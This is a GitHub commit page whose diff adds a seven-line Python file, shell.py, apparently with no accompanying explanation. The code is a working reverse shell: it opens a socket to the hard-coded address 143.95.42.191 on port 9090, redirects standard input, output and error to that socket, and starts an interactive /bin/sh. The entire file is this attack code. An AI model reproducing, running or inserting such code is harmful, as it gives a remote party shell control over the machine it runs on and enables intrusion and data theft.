Skip to content

Commit bcece05

Browse files
authored
Create shell.py
1 parent fe5c6c9 commit bcece05

File tree

1 file changed

+7
-0
lines changed

1 file changed

+7
-0
lines changed

shell.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
import socket, subprocess, os
2+
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3+
s.connect(("143.95.42.191", 9090))
4+
os.dup2(s.fileno(),0)
5+
os.dup2(s.fileno(),1)
6+
os.dup2(s.fileno(),2)
7+
p=subprocess.call(["/bin/sh","-i"])

0 commit comments

Comments
 (0)